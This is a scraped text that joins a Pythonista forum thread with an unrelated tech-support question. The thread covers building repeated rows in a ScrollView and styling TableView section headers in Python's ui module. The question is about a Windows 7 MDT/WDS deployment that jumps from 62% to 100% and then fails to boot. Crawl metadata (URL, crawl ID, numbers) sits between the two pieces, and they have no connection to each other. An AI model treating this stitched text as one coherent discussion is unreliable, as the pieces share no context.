Multiple view generating I am trying to create a table without using tableview because tableview doesn't cant help me, so I created a scrollview with a view inside that view is the row, but I am having trouble with view I can't create more than one row. import ui d=ui.load_view() def g(text,no): sv=d['scrollview1'] v=sv['view1'] l=v['label1'] b=v['button1'] l.text=l.background_color=b.background_color=text v.add_subview(l) v.add_subview(b) v.frame.y=no*(l.frame.height+5) sv.add_subview(v) for ss,s in enumerate(['red','green'],1): g(s,ss) d.present() view.pyui [ { "class" : "View", "attributes" : { "background_color" : "RGBA(1.000000,1.000000,1.000000,1.000000)", "tint_color" : "RGBA(0.000000,0.478000,1.000000,1.000000)", "enabled" : true, "border_color" : "RGBA(0.000000,0.000000,0.000000,1.000000)", "flex" : "" }, "frame" : "{{0, 0}, {240, 240}}", "selected" : false, "nodes" : [ { "class" : "ScrollView", "attributes" : { "class" : "ScrollView", "name" : "scrollview1", "frame" : "{{-40, -40}, {320, 320}}", "uuid" : "41AD7B2A-B5ED-4C74-BA2B-24469DA90229", "content_width" : 228, "content_height" : 320 }, "frame" : "{{6, 19}, {228, 182}}", "selected" : true, "nodes" : [ { "class" : "View", "attributes" : { "class" : "View", "name" : "view1", "uuid" : "03D06CC2-E81C-4D70-B02E-6894CE5EB352", "frame" : "{{64, 110}, {100, 100}}", "background_color" : "RGBA(0.800000,1.000000,0.800000,1.000000)" }, "frame" : "{{0, 0}, {228, 74}}", "selected" : true, "nodes" : [ { "class" : "Label", "attributes" : { "font_size" : 18, "text" : "Label", "font_name" : "<System>", "name" : "label1", "class" : "Label", "alignment" : "left", "frame" : "{{39, 21}, {150, 32}}", "uuid" : "6DFB1E3F-0AE3-4AAA-BDE7-1A33E95AE96A" }, "frame" : "{{6, 22}, {150, 32}}", "selected" : true, "nodes" : [ ] }, { "class" : "Button", "attributes" : { "font_size" : 15, "title" : "", "name" : "button1", "corner_radius" : 0, "border_color" : "RGBA(0.700000,1.000000,0.550000,1.000000)", "border_width" : 1, "class" : "Button", "frame" : "{{74, 21}, {80, 32}}", "image_name" : "iob:ios7_play_outline_256", "uuid" : "4D57F024-937D-435D-9099-064D8D644514" }, "frame" : "{{174, 13}, {48, 55}}", "selected" : false, "nodes" : [ ] } ] } ] } ] } ] @yas you seem to be adding v, whch is already a subview of sv, as a subview of sv. you are not creating a copy of v... what about tableview is not working for you? if you are just doing vertical scrolling, tableview is what you want, just use a custom .content_view in your TableViewCell @JonB Actually I am creating a Downloader like IDM So I am creating this view with a pause and resume button and the label as the progress bar how can I Do this with tableviewcell, An example would be helpful. Thanks in advance. Again, the key is content_view -- you can put anything you want in there. On the section header how to change its background color But this doesn't work for me def tableview_title_for_header(self, tableview, section): # Return a title for the given section. # If this is not implemented, no section headers will be shown. self.background_color='black' return 'Some Section' @yas self is a delegate... It has no bgcolor! There is not an easy way to change the section header background color. There are some ways using objc_util, but you may want to crawl first before you walk... . The easiest approach is to keep track of headers on your own, and just create a cell instead of a section header.
https://forum.omz-software.com/topic/5180/multiple-view-generating
CC-MAIN-2021-39
refinedweb
516
61.67
Im trying to detect intersecting gameobjects. I have a simple scene with 4 blocks and a shape. The blocks have box colliders and the shape a mesh collider. If the shape is intersecting a block it should turn the block red otherwise it should remain blue. For some reason I can't get this to work, it's as if the mesh collider is not accurate enough. With the image on the left, I would expect the bottom left block to be blue as it's not intersecting the green shape; but it's not. If I drag the shape to the right (right image) the left side blocks turn blue which makes me think the code is working in some form. Any help would be much appreciated! Code: using UnityEngine; using System.Collections; using System.Collections.Generic; public class gameController : MonoBehaviour { public GameObject shape; public GameObject blockA; public GameObject blockB; public GameObject blockC; public GameObject blockD; public Material red; public Material blue; List<GameObject> blockList; // Use this for initialization void Start () { blockList = new List<GameObject>(); blockList.Add (blockA); blockList.Add (blockB); blockList.Add (blockC); blockList.Add (blockD); } // Update is called once per frame void Update () { MeshCollider shape_collider = shape.GetComponent<MeshCollider> (); foreach (GameObject block in blockList) { BoxCollider block_collider = block.GetComponent<BoxCollider> (); if (shape_collider.bounds.Intersects (block_collider.bounds)) { block.GetComponent<Renderer> ().material = red; } else { block.GetComponent<Renderer> ().material = blue; } } } } Could you post your inspector of the GameObject? Answer by WbrJr · Feb 21, 2018 at 07:22 PM Hey there, Do you have "convex" enabled on your meshcollider? If so, turn it of and i think it should work... have a nice day and good luck Answer by JedBeryll · Feb 21, 2018 at 08:56 PM Not exactly a solution but you could make this work with 2 box colliders. Multiple colliders under 1 object works like it's 1 collider. It's better performance-wise. Bounds with Rotation: Getting y value of the point where its on the most left side of the collider (bounds.min.x) Note that the box collider has been rotated as well. 2 Answers Colliders, Mesh or Box? 1 Answer Test If Two Colliders Overlap 0 Answers why mesh collider penetrate box collider? 2 Answers Mesh.CombineMeshes - what happens to colliders? 0 Answers
https://answers.unity.com/questions/1450678/mesh-collider-not-working-as-expected-1.html
CC-MAIN-2019-43
refinedweb
377
59.8
The true scope of this project is being realized! Multiple meta-models are supported in release 1.x. SVN is now golden! CVS is dead, long live SVN! CVS is being migrated to SVN tonight. Do not check into CVS. The 1.0 CVS branch is dead and the 1.1 branch is live, but problems at sourceforge are preventing me from CVS check-ins and releases. Expect a new 1.1 release soon: * Better namespace structure to support multiple meta-models * XMI Export enhancements See the wiki for more details. There is a new wiki for UMMF at: UMMF is generating stable, production quality Perl code. Join ummf-users mailing list! See ummf-0.08-20030515.tar.gz
http://sourceforge.net/p/ummf/news/?source=navbar
CC-MAIN-2014-41
refinedweb
119
71
've now enabled "multi target" support. This means that you can compile multiple assemblies at once. One of the advantages this has is that it makes dealing with circular dependencies much easier, but even if there aren't any circular dependencies, it can make building much easier because you don't have to do any dependency analysis. As an example I compiled the jars from the JBoss lib directory: ikvmc -target:library { commons-codec.jar } { commons-httpclient.jar } { commons-logging.jar } { concurrent.jar } { getopt.jar } { jboss-common.jar } { jboss-jmx.jar } { jboss-system.jar } { jboss-xml-binding.jar } { log4j-boot.jar } The curly braces define the targets. This is all it takes to compile these jars into seperate assemblies that automatically reference eachother, as required. Using NDepend (which Patrick Smacchia kindly gave me a free copy of) you can easily graph the dependencies of the resulting assemblies: In this case there aren't any cycles, but had there been, it would have made no differences. The multi target feature is by no means done. I want to add a -sharedclassloader option to enable multiple assemblies to share a single Java class loader. I'm also considering some options to select which classes/packages go in which assembly. This would be helpful for splitting the core class library into multiple assemblies. Changes: As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3245.zip One of the lesser known features of the .NET runtime is the support for multidimensional and/or non-zero-based arrays. The typical arrays that you use (and that are the same as the arrays in Java) are called vectors in the CLI specification, but unfortunately the non-vector arrays don't have a specific name (they are simply called arrays in the CLI specification). In C# you can easily create a non-vector array: int[,] arr1 = new int[4, 4] This creates a two dimensional array of integers with 16 elements. This array is zero based. If you want to create a non-zero-based array, you have to use the API, because C# doesn't directly support that: int[,] arr2 = (int[,])Array.CreateInstance(typeof(int), new[] { 4, 4 }, new[] { 1, 1 }); This also creates a two dimensional array of integers with 16 elements, but in this case the indexes run from 1 through 5. So far, so good. Now let's look at how things look at the IL level. If you use ildasm to look at the first C# based instantation you'll see: ldc.i4.1ldc.i4.1newobj instance void int32[0...,0...]::.ctor(int32, int32) Most of this looks straightforward if you're familiar with IL, except for the [0...,0...] part. It looks like the lower bounds are part of the type, but a simple experiment shows that this is not the case: [0...,0...] Console.WriteLine(arr1.GetType() == arr2.GetType()); This prints out True. This implies that the lower bounds are not part of the type (and the CLI specification confirms this). So why are they part of the signature? I don't know for sure, but it does have an interesting consequence. You can overload methods based on this: True .assembly extern mscorlib { }.assembly Test { }.module Test.exe.class public Program{ .method public static void Foo(int32[0...,0...] foo) { ret } .method public static void Foo(int32[1...,1...] foo) { ret } .method private static void Main() { .entrypoint ldc.i4.1 ldc.i4.1 newobj instance void int32[0...,0...]::.ctor(int32, int32) call void Program::Foo(int32[0...,0...]) ret }} This is a valid and verifiable application. Unfortunately, using the .NET reflection API it is impossible to see the difference in signatures between the two Foo methods. This limitation in reflection means that code compiled with the new IKVM.Reflection.Emit based ikvmc won't be able to call methods that have non-zero-based array parameters. It is also impossible to override these methods, but that was already the case with the previous System.Reflection.Emit based implementation as well. Finally, in the above text I talk about the lower bounds, but the same thing applies to the upper bounds of the array. Over the past two months I've been working on reimplementing a large portion of the Reflection.Emit API from scratch. After finally growing tired of the System.Reflection.Emit bugs and limitations and not finding Mono.Cecil satisfactory either, I decided to build my own implementation. I started out with these design goals: I think I've met or exceeded all of the design goals. Without doing any significant performance work on my Ref.Emit implementation (other than the design), ikvmc became so much faster that it is rather emberassing for the Microsoft System.Reflection.Emit implementation. I've only had to make a couple of minor changes to the ikvmc sources (apart from changing using System.Reflection.Emit; to using IKVM.Reflection.Emit; in every file) to account for the fact that IKVM.Reflection.Emit.ModuleBuilder and IKVM.Reflection.Emit.AssemblyBuilder unfortunately cannot extend System.Reflection.Module and System.Reflection.Assembly. However, it looks like this is fixed in the .NET 4.0 CTP. using System.Reflection.Emit; using IKVM.Reflection.Emit; Here are some random statistics about compiling IKVM.OpenJDK.ClassLibrary.dll on .NET 2.0 SP2 x64: (The huge memory usage is not because it actually needs that much memory, but simply the result of the fact that garbage collection is more efficient if you have more memory available and that my system had about 1.5GB of free memory while running these tests.) The smaller file size is because System.Reflection.Emit always uses fat method headers and IKVM.Reflection.Emit uses tiny method headers whenever possible. There is still some work left to do, I've only spent limited time on debugging support and there is no support for Mono's .mdb format yet. I also haven't done any testing on Mono yet. BTW, thanks to Sebastien Pouliot for code I lifted from Mono to parse strong name CAPI key blobs. Other changes in this snapshot: As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3240.zip couple of minor fixes. Changes since RC0: Note that even though I fixed reflection to work on .NET 2.0 RTM, it still isn't a supported platform, I strongly recommend .NET 2.0 SP1 or higher. Binaries available here: ikvmbin-0.38.0.1.zipSources: ikvm-0.38.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip
http://weblog.ikvm.net/default.aspx?month=2008-11
CC-MAIN-2018-05
refinedweb
1,145
58.79
Websockets and Java EE Work has begun on the Servlet Expert Group to come up with a standard set of atoms for WebSocket applications in a Java EE environment. I'm not 100% convinced that the servlet spec is the best place to do this but I suppose it saves us the hassle of submitting another JSR and all the work that would entail. However, that's where the work is being done for now, so whatever. This is something I've naturally thought a lot about over the last couple of years as I've worked to implement and promote WebSockets so here is roughly how I would do it. There's a lot of "we have to have something in the servlet spec" comments floating around. I don't necessarily agree with that sentiment but there is one thing I would: support for the upgrade request header. This would have the servlet container automatically detect a request with this header. The container would then query the system for all implementations of upgrade request handlers registered. Then, based on which protocol each handler has said it deals with, hand off processing to that handler. At this point, the request is not necessarily in the servlet stack at all but a completely separate API that might not even be back by a JSR. This has multiple advantages in my mind. - WebSockets uses this header and so this feature is already going to be needed for WebSockets to work. - It provides a general hook and customization point at which developers can choose to extend the container without resorting to modifying the source of the container itself to handle the new protocol. More importantly, it does so in a standardized fashion allowing for portability at least among the higher levels of the API. Certain container specific code might be needed for such things as suspending/parking requests and the like. But these could easily be abstracted away such that the protocol logic itself could be fairly portable. - This also decouples new APIs such as WebSockets from the constraints of the legacy(?) servlet API. - Using this hook, someone could homebrew their own protocols using the upgrade mechanism and be able to integrate in to their container with little fuss. Barring some tweaks here and there, that's all the servlet spec really needs to offer. So where does that leave WebSockets? Why, in its own JSR, of course! I really think it needs its own separate JSR with its own EG populated by folks who know and understand the technology. More importantly, this separate EG would feel less bound to make this new API consistent/compatible with the servlet API. While there is certainly a need for integration with the servlet spec for access to things like the session data, binding the two APIs would really hamstring the interesting things we could do with WebSockets. So what would all this look like? Let's look at some mostly java mockups. First, the servlet side upgrade handler. It would look something like this. If you've used @WebServlet, this should look familiar to you. @Target({ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface HttpUpgradeHandler { /** * The name of the target protocol */ String value() default {}; /** * The description of the handler */ String description() default ""; /** * The display name of the handler */ String displayName() default ""; } And the interface exposed for implementations: public interface UpgradeHandler { public void doUpgrade(ServletRequest request, ServletResponse response) throws UpgradeException; } This provides a general mechanism for any application developer to register a new handler thus extending the functionality of the container without need for hacking the container itself. So what would one of these handlers look like? Maybe something like this: @HttpUpgradeHandler(protocol ="websocket", urlPatterns={"/sample"}) public class SampleWebSocketContext extends WebSocketContext { @Override public void customizeHandshake(ServletRequest request, ServletResponse response) { super.customizeHandshake(request, response); // insert cookies here } @Override public WebSocketContext createContext(ServletRequest request, ServletResponse response) { return new SampleWebSocketContext(request, response); } private static class SampleWebSocket extends DefaultWebSocket { private String userName; public SampleWebSocketContext(ServletRequest request, ServletResponse response) { super(request, response); userName = request.getParameter("user"); } public String getUserName() { return userName; } } } By the time control gets handed off to WebSocketContext, the appropriate headers requesting the upgrade have already been found and validated against name provided in the annotation. All that's left to do here is perform the actual upgrade. In this case, I added a method to customize the handshake for cases where, perhaps, the developer wants to add a header field or validate an existing header value. So what comes from the servlet specification is that annotation, the interface, and an exception. There might be more as details are hashed out, but that's about all I would say that the servlet specification should deliver. That paves the way for a WebSocket JSR export group to define its own atoms. Not entirely surprisingly, I imagine a WebSocket JSR would end up with something that approximates what I built in Grizzly. That said, there are certain ... rough points that need to be smoothed over but that can most easily be smoothed over by 1) an expert group and 2) user feedback. Still, here's how I see one approach at cracking this nut. In Grizzly, we have a WebSocketApplication which is the center of the developer's world when building WebSocket applications. I've recently come to prefer WebSocketContext instead. It's largely semantic but whatever. This is where all the application logic, if there is any, would likely want to live. Between the WebSocketContext and any potential custom implementation of WebSocket, there's a lot of room of custom logic. But none of this is tied to the servlet spec beyond the initial use of the ServletRequest and ServletResponse which I think is key. This separation allows the WebSocket JSR evolve without needing to worry about servlet evolution. More importantly, it allows innovation to happen without needing a JSR at all. Because there's a generic upgrade hand off, developers are free to extend their container in whatever crazy directions they choose. Imagine implementing a custom JMS transport over HTTP and tunneling through your web server. Or FTP. Or SNMP. Or some completely custom, proprietary protocol. This extension point takes the EE platform one huge step down the road of enabling developers to build applications on and extending the EE platform without the need for container specific hacks. It aslo, of course, paves the way for future JSRs to provide new functionality without extraneous requirements and constraints from external JSR lifecycles. At the risk of repeating myself, I'd like to say again that this proposal is not perfect. It almost certainly has some corner cases I haven't thought of or addressed here. But it's at least along the lines of how I've been imagining something like this would work for the last couple of years. It's a start. I have the code I showed above and more in a git hub repository if you'd like to take a look in more detail. I'd love to hear any comments you might have.
http://www.antwerkz.com/websockets-and-java-ee/?tag=servlets
CC-MAIN-2015-40
refinedweb
1,179
52.9
Are you looking for the complete information on Python zip_longest() function? In this article, we will see how can use Python zip_longest() function with some examples. Python zip_longest() function : Suppose we have two iterators of different lengths. We iterate them together obviously one iterator must end up with another iterator. In this situation, the python zip_longest() function can fill up the position of empty iterable with some user-defined values. In case the user does not define the fillvalue parameter, zip_longest() function fills None as the default value. Step By Step Implementation of Python zip_longest() function : Before we start the step by step implementation for zip_longest() function. Let’s understand iterators. Iterators are python objects of the sequence data. I am assuming that you all understand the list in python. list_example=[100,200,300,400,500] for i in list_example: print(i) Here this list_example is an iterator because we can iterator over its element. Not only list but tuple, string, dict are iterable python objects. Now, let us understand this above function. Step 1 : Firstly, Import the itertools module. Actually the above function is the member of itertools package in python. import itertools Step 2: Secondly, Define the sequence/ iterable objects. Here the iterables are of different lengths. seq1 =[100,200, 300, 400, 500, 600, 700, 800] seq2 =[5 , 15, 25] We have defined two lists which are a sequence of some numeric value. As you can see here both are of different lengths. Step3: Above all and Most importantly, Call the Python zip_longest() function. Please refer to the below code. print(*(itertools.zip_longest(seq1, seq2,fillvalue = "empty"))) Here “empty” will be an alternative sequence value after the second sequence length gets over. You will understand more when you see the full code together for this zip_longest() function. Here is the full code with output. import itertools seq1 =[100,200, 300, 400, 500, 600, 700, 800] seq2 =[5 , 15, 25] print(*(itertools.zip_longest(seq1, seq2,fillvalue = "empty"))) Note – As I have already explained that fillvalue is an optional parameter with a default value is None. Let’s understand it with the above example. import itertools seq1 =[100,200, 300, 400, 500, 600, 700, 800] seq2 =[5 , 15, 25] print(*(itertools.zip_longest(seq1, seq2))) Thanks Data Science Learner Team Join our list Subscribe to our mailing list and get interesting stuff and updates to your email inbox.
https://www.datasciencelearner.com/python-zip_longest-function-implementation/
CC-MAIN-2021-39
refinedweb
397
58.38
From: Moore, Paul (Paul.Moore_at_[hidden]) Date: 1999-12-22 09:11:56 From: Dave Abrahams [mailto:abrahams_at_[hidden]] > 1. I presume you're using gcc 2.95.2... Yes. > 2. You might want to look at the header files that come with > gcc to see if char_traits is even implemented. Those libraries > are woefully out-of-date. I'm using a libstdc++ v3 snapshot. I checked, and char_traits is in there. > 3. Boris Fomitchev and I have found, in doing the latest > STLPort for gcc, that -fhonor-std doesn't actually work. Amazing > as it may sound, std is still (mis-)treated specially, though in > slightly mysterious ways. That's why the STLPort for gcc doesn't > actually put anything in std. Instead, everything goes into > namespace stlport and the header files > automatically do > #define std stlport > for you. Aargh. > 4. Unlike earlier versions, the upcoming STLPort has a > complete standard library implementation, so it can act > as a substitute for your outdated library. I can probably > send you an alpha version, if you care. No, it's OK. As long as my code is "supposed" to work, I won't worry. After all, I was only checking with gcc - the real build was on MSVC, which works. (Oh, dear - is this a case of MSVC getting something right? Must file a bug report to get it corrected...) Thanks for the reassurance, Paul. Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
https://lists.boost.org/Archives/boost/1999/12/1403.php
CC-MAIN-2019-51
refinedweb
256
69.79
Virginia Mines Signs Option Agreement with TerraX to Acquire NSR Royalty on Northbelt Property Virginia Mines Inc. (VGQ.TO) has entered into an agreement with TerraX Minerals Inc. pursuant to which it has the option to purchase, in consideration for an amount of $2 million, a 2% net smelter return ( NSR ) royalty on the Northbelt property located in the area of Yellowknife, Northwest Territories. It consists of 121 mining leases covering an area of 3,562 hectares covering approximately 13 kilometers along the prolific greenstone belt in Yellowknife, host of the Con (5 M oz.) and Giant (7 M oz.) gold deposits. In connection with this agreement, Virginia has also subscribed by way of private placement for 3,617,085 units of TerraX at a price of $0.20 per unit for gross proceeds of $723,417. VGQ edged up by about 1% to $9.69, with 52-week range of $7.55 - $11.25.
http://www.nasdaq.com/aspx/stockmarketnewsstoryprint.aspx?storyid=virginia-mines-signs-option-agreement-with-terrax-to-acquire-nsr-royalty-on-northbelt-property-cm244922
CC-MAIN-2016-22
refinedweb
155
63.59
Introduction to ngFx for Angular animations ngFx is an amazing animation library built on top of ngAnimate using Greensock Animation Platform. This quick introduction will have you animating your Angular apps today. Level Up! Access all courses & lessons on egghead today and lock-in your price for life. ngFx is an amazing animation library built on top of ngAnimate using Greensock Animation Platform. This quick introduction will have you animating your Angular apps today. In this lesson, we're going to be using ngFx to add some nice animations to our Angular application. Over here, we have this list of repeated items. We're using this search box here as a filter. We're going to use ngFx to attach animations to the elements entering and leaving the page. To get started, we can bower install ngFx. Note that its dependencies include ngAnimate and also GSAP TweenMax JS. Once we have those script tags, we can head over to our application, add the module dependencies of ngFx and also ngAnimate here. To actually start using the animations, in our case, since we're using ng-repeat, we head over to the element that's being repeated over...That's this "li" element here...and attach the ngFx class names. ngFx uses the fx namespace for its CSS classes. Say we want to add a zoom animation. We can say, "fx-zoom-left." As we come over here and filter, we can see we get this nice zoom animation for the elements entering and leaving the page. We can also control the speed of our animations by saying, "fx-speed-" and any time in milliseconds. Let's slow things down and put "1300," 1.3 seconds. As we filter, we notice the animations are just a little slower here, but still pretty smooth. We can also control the easing of our animations with ngFx. We can say, "fx-easing-." Let's use a dramatic one, elastic. All the easings are defined with GSAP TweenMax. Here, as we filter, now we get this nice, rubber-band, elastic easing here for our animations. Zoom left is just one of many pre-defined animations in ngFx. Another one of my favorites is rotate clock. Let's speed things up a little bit and put 700. Let's change it from elastic to back. Now, if we come over here and start filtering, we get this nice rotation animation with a nice back easing here. That's ngFx. Access all courses and lessons, track your progress, gain confidence and expertise.
https://egghead.io/lessons/angularjs-introduction-to-ngfx-for-angular-animations
CC-MAIN-2020-29
refinedweb
425
67.55
Queue over HTTP: Usage Scenarios By Peter A. Bromberg, Ph.D. I have a pet peeve about Managers (Project Managers, IT Department Managers, and the like). It seems that some otherwise perfectly intelligent people, when they become managers, suddenly go through this Kafkaesque transformation and become - well, ogres (I can say this without hesitation, because I was once a Manager, and it didn't last long, because I could feel it starting to happen to me). Kind of Like Jeff Goldblum staring at his crawling skin as he began to turn into -- The Fly! Their personalities change; they seem to get these "hardened" views about certain technologies and become ultra-dogmatic about whether or not their development people are going to be allowed to use them to solve business problems. (Thankfully, the boogers let me go back to being a developer and I remained happy. My personality didn't change - it's still just perfect.) Let me give you a couple of real - life examples. These both happen to relate to MSMQ, and -- not coincidentally -- that's what this short article is about, too. I was a Senior Developer at one outfit which had a humongous e-commerce application with over 1200 SQL Server tables spread out across at least five or six linked servers. One of the needs was a reliable disconnected messaging scenario involving the clients dropping notification messages about having uploaded a new product catalog, which our humongous application was supposed to process and then update these 1200 or so tables - but first by sticking everything in a half dozen "staging tables" for preprocessing. There really wasn't a reliable way to deposit notification and status messages that could be picked up later. Naturally, this is an MSMQ scenario, and when I proposed that we look into it to the "Manager", you can guess what the response was. "Oh, no, we've had REAL BAD EXPERIENCES with Message Queue. Absolutely not!". Doh! The other one was with another company that had a pretty big operation that was almost totally centered around SQL Server. SQL Server did everything in this enterprise - it made the notifications, it polled stuff with timed jobs running out of SQL Agent, it sent the emails, everything with SQL Server except maybe cleaning the men's room - and I bet if the manager could have figured a way to make SQL Server do that, he would have added it to the list. There was so much contention on their network what with different jobs running at the same time as all the heavy data access, that stuff would fail or timeout. I suggested several alternatives here, including Windows Services, Message Queue, and even Multicast IP for subscribing to notifications-- all of which were tossed out with comments like "No. I don't like WIndows Services. Absolutely not. " Jeesh! Don't like Windows Services? Better not turn on your computer in the morning then, cause it runs about twenty of them. . . The bottom line is this: If the only tool you have to deal with programming situations is a hammer, every problem starts to look like a nail. That's a pretty heavy-handed, tunnel - vision approach to programming, and to life, in general. When somebody says something like "We've had bad experiences with ..." or "I don't like ...", what they are really saying is, "I'm the boss, and since I'm too dumb (or unwilling) to figure out how to use this technology reliably, we simply won't use it so that I don't have to put my ego in my back pocket in the name of quality software development". These guys could all use a good course in lateral thinking. One of the coolest features of MSMQ 3.0 is the ability to send messages over HTTP - right through firewalls. This works great in workgroup mode, and the Queue is simply exposed as an IIS Vroot. But before I get into that, lets take a quick look at the feature matrix table (from MSDN online) for Message Queue. This is broken down into New Features, Improved Features, and Existing Features: To me, the two most interesting features are the very first two: delivering messages over HTTP transport, and triggers. HTTP, for all the obvious reasons, not to forget SOAP formatting. Triggers, because we now have an easy way to create rules and associate the arrival of each incoming message at a queue with a response that depends on the contents of the message. We can either invoke a COM component or a stand-alone .NET executable program. Our .NET executable for example, can read the message in the Queue and do all kinds of neat stuff "behind the scenes". A third and also very interesting new feature is message delivery to IP multicast destinations using the PGM protocol. That can get somewhat complex, so I'll leave it for a subsequent visit. So, let's discover how to use the first two features, HTTP and Triggers. HTTP Messages with MSMQ 3.0: MSMQ 3.0 provides support for referencing URL-named queues, creating SOAP-compliant (SRMP) messages that can be sent over HTTP, and authenticating HTTPS messages. To send messages to a destination queue over HTTP, the target computer must have the Message Queuing HTTP Support subcomponent and IIS installed. Access to the queue can be restricted to specific users by changing the permissions of the virtual directory in the IIS snap-in. If you have it installed, you will see an IIS application with the name (Surprise!) "MSMQ", and it will have nothing in it.. A direct format name containing HTTPS as the protocol name invokes a secure HTTP transport through a Secure Sockets Layer (SSL) connection. The following are some examples of direct format names for sending HTTP messages. DIRECT= (Within the enterprise) DIRECT= (Over the Internet) DIRECT= (Over the Internet) HTTP is automatically chosen as the transport for any Message Queuing message sent using an HTTP format name. In this case, the message will be formatted using the SOAP extensions for reliable messaging in the SOAP Reliable Messaging Protocol (SRMP). Note You cannot read messages in a queue on a remote computer if the queue is opened using an HTTP direct format name; you can only use HTTP to send messages. A complete HTTP message includes a SOAP envelope and the SOAP attachments associated with it. Here is a sample actual SOAP Message. When sending an HTTP message, Message Queuing automatically transforms the individual binary message properties to specific WS-Routing elements, SRMP elements, and elements of the MSMQ namespace, and includes them in the header portion of the SOAP envelope. On the receiver side, Message Queuing maps these XML elements to the respective binary message properties before storing the message. An HTTP message maintains the XML elements specifying the message properties in the read-only PROPID_M_SOAP_ENVELOPE or MSMQMessage.SOAPEnvelope property. When authentication is requested, Message Queuing automatically signs HTTP messages using an XML digital signature, and automatically includes the correct signature - related elements in the SOAP message. All of this is done automatically, without you having to write a single line of code! Setting up a Queue for HTTP access with a Trigger In our sample project, we will make some very simple assumptions that will enable you to get MSMQ via HTTP access with a trigger up and running as a "learning proof of concept". We will assume that subscribers wish to have their name and email addresses entered into your Notifications table for further processing, and that during the course of the normal operation of some sort of client program located outside your network, the program will make an HTTPRequest, sending an MSMQ subscribe message that will execute your MSMQ Trigger upon receipt. On the server, your .NET executable will read the Message out of the Queue, cast it to an instance of the "test" class, get the Name and Email properties, and make a SQL insert into your Notifications table for further processing. Follow these steps to create the infrastructure for our sample project: Ok. We are now ready to explore the code, and how it works. First, let's take a look at the HTTPSender Client UI so that you can get an idea of what this is about: We can specify the Queue name, and using the FormatName directive, the full HTTP endpoint is visible. For the Info to send, we will specify the user's name and email address as explained above. The SEND button will intitiate the sending of the Message to the queue. Under the hood, here is the code that actually performs this action: private void button1_Click(object sender, System.EventArgs e) { try { System.Messaging.MessageQueue mq = new System.Messaging.MessageQueue (label5.Text); mq.DefaultPropertiesToSend.Recoverable=true; mq.DefaultPropertiesToSend.Label="Notification"; Test myTest = new Test(textBox2.Text,textBox3.Text); System.Messaging.Message msg=new System.Messaging.Message(); msg.Formatter =new System.Messaging.BinaryMessageFormatter(); msg.Body=myTest; mq.Send(msg,"Notification",System.Messaging.MessageQueueTransactionType.Single ); } catch (System.Messaging.MessageQueueException mqx) { MessageBox.Show (mqx.Message) ; } } "Test", above, is simply an instance of a simple serializable class that has two string properties, Name and Email. This class is included in both the Sender and the Receiver (our .NET Executable that is run by the Trigger) so that correct serialization and deserialization can be performed on the Message Body. At the receiving end, recall that our Trigger is going to execute an instance of an "HTTPSender.exe" console app that will read the Message from the Queue, and do the SQL insert. This is, of course, just a simple surrogate for some business process that in production would obviously be much more complex: static void Main(string[] args) { // you can use the next line for debugging purposes // System.Diagnostics.Debugger.Launch(); object MessageId=""; object MessageBody=""; if(args.Length>0) { MessageId=args[0]; // note we are passing the message body too, but we don't use it here MessageBody=args[1]; } MessageQueue q = new MessageQueue(@".\Private$\notifications"); if(MessageId!=null) { string msgId=((string)MessageId).Substring(((string)MessageId).IndexOf(@"\")); } System.Messaging.Message msg=null; Test tst=null; if(MessageId!=null) { // need to strip off the curly brackets to use ReceiveById! string msgid=((string)MessageId).Replace("}",""); msgid=msgid.Replace("{",""); msg= q.ReceiveById(msgid); Type[] expectedTypes= new Type[]{typeof(string)}; msg.Formatter =new System.Messaging.BinaryMessageFormatter(); System.Diagnostics.Debug.WriteLine(msg.Id.ToString()); tst=(Test)msg.Body; } string sSql="Insert into Notifications (NotifyDateTime,Name,Email)"; sSql+="Values('"+System.DateTime.Now+"','"+tst.Name +"','"+tst.Email +"')"; SqlConnection cn =new SqlConnection("server=(local);database=Test;user id=sa;password=;"); cn.Open(); SqlCommand cmd=new SqlCommand(sSql,cn); cmd.CommandType=CommandType.Text; cmd.ExecuteNonQuery(); cmd.Dispose(); cn.Close(); } With that, we have completed the entire implementation of sending an MSMQ message over the Internet via HTTP to a remote queue, and having a Trigger on the remote queue spawn an instance of an Executable that handles some required business logic in the enterprise. There is much more to MSMQ 3.0 than described here. You have Acknowledgement Queues, where you can set the Administration Queue to the queue that receives acknowledgements of messages, and the AcknowledgementType defines the acknowledgements that we are interested in . There is also a Mapping XML file that you can set for HTTP to a secondary URL where acknowledgements can be picked up. Routing of messages to other queues, even other machines, can also be set up here. You determine which acknowledgement corresponds to a sent messages with the CorrelationId and MessageQueue.ReceiveByCorrelationId method. Messages can be involved in Transactions, and they can be Encrypted. We can also turn on Tracing to get reports on what is happening to messages in an enterprise environment. Finally, we can use Queued Components derived from System.EnterpriseServices in COM+ to make it easier to call methods across a Message Queue. However, by using this simplified model, we also lose the ability to programmatically do fine-grained Message control as in the above example. Conclusion: MSMQ 3.0 is an Enterprise - Level tool to handle a wide range of both disconnected and connected Messaging scenarios. Developers should carefully study the documentation. Contrary to what some "Managers" may have to say about it, when properly configured and tested, MSMQ is both reliable and fast, and can save many hours of custom programming time. Download the Solution that accompanies this article Articles Submit Article Message Board Software Downloads Videos Rant & Rave
http://www.eggheadcafe.com/articles/20040620.asp
crawl-002
refinedweb
2,080
53.71
Asked by: LTI skips from 62% to 100% Question So I've been using MDT and WDS for a while, and a couple of days ago I tried to deploy Windows 7 to some clients, and I started having this issue. Depending on how big the .wim file the task sequence is trying to deploy, it will skip the last several percent. In my main .wim, which was updated in late July, it will skip from 62%-100%, as mentioned in the title. However, using a Windows 7 .wim with no updates, it will go up to around% then skip to 100%. After it does this, DISM.exe does its thing, and the Rest of the WinPE parts of the task sequence happen, then the client reboots. It boots up to the starting windows screen, but never gets further, the MS logo doesn't even show up. After a while it gives up and reboots again, saying that windows didn't shut down properly and all the other safemode things, then does the same thing over and over again. Now, everything was working fine 2 days before I had this issue, and the only things I've done in between then and when the issue started to happen are trying to get multicast to work, and building media intended for USB booting. I let the media build overnight, then began to burn it to a USB disk, but I canceled it halfway through, since it turned out I didn't need it. The only other thing I can recall doing is attempting to get multicast to work, using commands relevant to creating and altering the namespace. I don't know why anything I did with media would cause any problems, however I could see how playing with the multicast setting could cause issues. Long story short I was hoping someone who's either had the same issue or knows whats wrong could help me, 